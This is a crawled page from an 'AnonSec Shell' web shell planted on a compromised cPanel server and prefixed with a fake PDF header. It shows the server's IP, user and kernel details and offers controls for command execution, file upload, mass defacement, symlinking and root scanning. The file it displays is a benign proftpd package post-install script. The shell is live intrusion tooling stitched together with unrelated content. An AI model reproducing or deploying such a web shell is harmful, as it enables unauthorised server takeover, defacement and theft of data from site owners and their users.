%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/cpanel-proftpd.postinst
#!/bin/sh
set -e

# https://wiki.debian.org/MaintainerScripts

## <asset scriplets/post>


set -e

if [ -z "$INIT_D" ]; then INIT_D=0; fi;
if [ -z "$RHEL" ]; then RHEL=0; fi;

runPost_all() {

    /usr/local/cpanel/scripts/ckillall -9 pure-ftpd ||:
    
    chgrp -f proftpd /etc/proftpd/* ||:
    chmod -f 640 /etc/proftpd/* ||:
    if [ -e /etc/init.d/proftpd ]; then
        chmod 744 /etc/init.d/proftpd >/dev/null 2>&1
    fi

    perl -pi -e "s/^Group(\s*|\t*)nobody/Group proftpd/g" /etc/proftpd.conf ||:
    if [ ! -e /etc/ftpd-rsa.pem ]; then
        echo "US
Unknown
Unknown
Unknown
Unknown
`hostname`
ssl@cpanel.net" | \
        openssl req -new -x509 -newkey rsa:1024 -days 9999 -nodes -out /etc/ftpd-rsa.pem -keyout /etc/ftpd-rsa-key.pem
    fi

    chmod 600 /etc/ftpd-rsa.pem /etc/ftpd-rsa-key.pem
    for ssldir in /usr/share/ssl /var/ssl /etc/ssl
    do
        if [ -e "$ssldir/private" ]; then
            ln -sf /etc/ftpd-rsa-key.pem $ssldir/private/ftpd-rsa-key.pem
            ln -sf /etc/ftpd-rsa.pem $ssldir/certs/ftpd-rsa.pem
        fi
    done

    if [ -e "/usr/local/cpanel/bin/proftpdvhosts" ]; then
        /usr/local/cpanel/bin/proftpdvhosts
    fi

    if [ "x${INIT_D}" = "x0" ]; then
        /usr/bin/systemctl daemon-reload
    fi

    /usr/local/cpanel/scripts/cpservice proftpd enable
    # the service also need to be setup in /var/cpanel/cpanel.config
    /usr/local/cpanel/scripts/restartsrv_proftpd --no-verbose || echo "Failed to restartsrv_proftpd" ||:

    # Enable FTP icons in cPanel
    /bin/mkdir -p /var/cpanel/dynamicui ||:
    chmod 755 /var/cpanel/dynamicui ||:
    chown root: /var/cpanel/dynamicui ||:
    /bin/touch /var/cpanel/dynamicui/ftp ||:
    chmod 644 /var/cpanel/dynamicui/ftp ||:
}

## </asset>


case "$1" in
  configure)
      runPost_all;
  ;;
esac

exit 0

Anon7 - 2022
AnonSec Team